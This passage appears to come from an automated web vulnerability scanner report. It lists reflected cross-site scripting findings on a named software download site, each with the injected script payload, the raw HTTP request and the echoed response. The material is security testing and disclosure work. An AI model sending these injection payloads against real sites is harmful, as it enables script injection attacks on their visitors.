HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:06 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:14 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2214%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89997
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-web-development-downloads-14-0-d.html?80afd"><script>alert(1)</script>c425ef0f66e=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 218d1"><script>alert(1)</script>4fe331af1de was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories218d1"><script>alert(1)</script>4fe331af1de/free-64-bit-widgets-downloads-304-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:38:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21328
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categories218d1"><script>alert(1)</script>4fe331af1de/free-64-bit-widgets-downloads-304-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ba48e"><script>alert(1)</script>61cde841274 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-widgets-downloads-304-0-d.htmlba48e"><script>alert(1)</script>61cde841274 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:40:36 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:51:10 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A3%3A%22304%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 73743
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-widgets-downloads-304-0-d.htmlba48e"><script>alert(1)</script>61cde841274" /> ...[SNIP]...
4.1709. http://www.x64bitdownload.com/categories/free-64-bit-widgets-downloads-304-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6112f"><script>alert(1)</script>21955c1c69b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-widgets-downloads-304-0-d.html?6112f"><script>alert(1)</script>21955c1c69b=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:55 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A3%3A%22304%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 73746
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-widgets-downloads-304-0-d.html?6112f"><script>alert(1)</script>21955c1c69b=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27828"><script>alert(1)</script>f86c420dbde was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /contact.html27828"><script>alert(1)</script>f86c420dbde HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:26:24 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21287
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/contact.html27828"><script>alert(1)</script>f86c420dbde" /> ...[SNIP]...
4.1711. http://www.x64bitdownload.com/contact.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/contact.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa263"><script>alert(1)</script>331e6222b82 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /contact.html?aa263"><script>alert(1)</script>331e6222b82=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:22:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23150
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/contact.html?aa263"><script>alert(1)</script>331e6222b82=1" /> ...[SNIP]...
The value of the subject request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be1b9"><script>alert(1)</script>4fd62328ec8 was submitted in the subject parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /contact.html?subject=Advertising+inquirybe1b9"><script>alert(1)</script>4fd62328ec8 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:23:10 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23219
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/contact.html?subject=Advertising+inquirybe1b9"><script>alert(1)</script>4fd62328ec8" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b3ae"><script>alert(1)</script>c6880b6a8ca was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /download9b3ae"><script>alert(1)</script>c6880b6a8ca/t-64-bit-ozum-download-lhtivuds.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:46:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21320
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/download9b3ae"><script>alert(1)</script>c6880b6a8ca/t-64-bit-ozum-download-lhtivuds.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60197"><script>alert(1)</script>0962c697c9d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /download/t-64-bit-ozum-download-lhtivuds.html60197"><script>alert(1)</script>0962c697c9d HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:41 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 24926
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/download/t-64-bit-ozum-download-lhtivuds.html60197"><script>alert(1)</script>0962c697c9d" /> ...[SNIP]...
4.1715. http://www.x64bitdownload.com/download/t-64-bit-ozum-download-lhtivuds.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/download/t-64-bit-ozum-download-lhtivuds.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 609f9"><script>alert(1)</script>bd02fd97db3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /download/t-64-bit-ozum-download-lhtivuds.html?609f9"><script>alert(1)</script>bd02fd97db3=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:44:09 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:54:14 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 24929
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/download/t-64-bit-ozum-download-lhtivuds.html?609f9"><script>alert(1)</script>bd02fd97db3=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be9bd"><script>alert(1)</script>d2897fb4cc0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloadsbe9bd"><script>alert(1)</script>d2897fb4cc0/t-64-bit-communitymate-download-qeakzpwv.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:21:23 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21330
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloadsbe9bd"><script>alert(1)</script>d2897fb4cc0/t-64-bit-communitymate-download-qeakzpwv.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1a075"><script>alert(1)</script>b0edf73ede1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-communitymate-download-qeakzpwv.html1a075"><script>alert(1)</script>b0edf73ede1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:21:56 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55738
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-communitymate-download-qeakzpwv.html1a075"><script>alert(1)</script>b0edf73ede1"/> ...[SNIP]...
4.1718. http://www.x64bitdownload.com/downloads/t-64-bit-communitymate-download-qeakzpwv.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 528e0"><script>alert(1)</script>cb345b92cc2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-communitymate-download-qeakzpwv.html?528e0"><script>alert(1)</script>cb345b92cc2=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:18:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55744
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-communitymate-download-qeakzpwv.html?528e0"><script>alert(1)</script>cb345b92cc2=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5108"><script>alert(1)</script>438beac92ff was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloadse5108"><script>alert(1)</script>438beac92ff/t-64-bit-cyberlink-youcam-download-gspvirzx.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:23:55 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21333
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloadse5108"><script>alert(1)</script>438beac92ff/t-64-bit-cyberlink-youcam-download-gspvirzx.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14f07"><script>alert(1)</script>b0b929cccfa was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-cyberlink-youcam-download-gspvirzx.html14f07"><script>alert(1)</script>b0b929cccfa HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:39 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56805
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-cyberlink-youcam-download-gspvirzx.html14f07"><script>alert(1)</script>b0b929cccfa"/> ...[SNIP]...
4.1721. http://www.x64bitdownload.com/downloads/t-64-bit-cyberlink-youcam-download-gspvirzx.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2918"><script>alert(1)</script>0c97ca17470 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-cyberlink-youcam-download-gspvirzx.html?b2918"><script>alert(1)</script>0c97ca17470=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:21:06 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56811
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-cyberlink-youcam-download-gspvirzx.html?b2918"><script>alert(1)</script>0c97ca17470=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12bf9"><script>alert(1)</script>6fe8131d792 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads12bf9"><script>alert(1)</script>6fe8131d792/t-64-bit-e107-chat-plugin-for-123-flash-chat-download-kkkispxz.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:23:11 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21352
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloads12bf9"><script>alert(1)</script>6fe8131d792/t-64-bit-e107-chat-plugin-for-123-flash-chat-download-kkkispxz.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 742ce"><script>alert(1)</script>f2561d7c8fe was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-e107-chat-plugin-for-123-flash-chat-download-kkkispxz.html742ce"><script>alert(1)</script>f2561d7c8fe HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:07 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59993
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-e107-chat-plugin-for-123-flash-chat-download-kkkispxz.html742ce"><script>alert(1)</script>f2561d7c8fe"/> ...[SNIP]...
4.1724. http://www.x64bitdownload.com/downloads/t-64-bit-e107-chat-plugin-for-123-flash-chat-download-kkkispxz.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6bbf"><script>alert(1)</script>75abb52cf6c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-e107-chat-plugin-for-123-flash-chat-download-kkkispxz.html?e6bbf"><script>alert(1)</script>75abb52cf6c=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:20:23 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59999
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-e107-chat-plugin-for-123-flash-chat-download-kkkispxz.html?e6bbf"><script>alert(1)</script>75abb52cf6c=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe8bd"><script>alert(1)</script>2073222b13b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloadsfe8bd"><script>alert(1)</script>2073222b13b/t-64-bit-easytether-x64-download-byhsbuvf.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:24:15 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21331
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloadsfe8bd"><script>alert(1)</script>2073222b13b/t-64-bit-easytether-x64-download-byhsbuvf.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d668a"><script>alert(1)</script>fda2f2d8370 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-easytether-x64-download-byhsbuvf.htmld668a"><script>alert(1)</script>fda2f2d8370 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:55 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53923
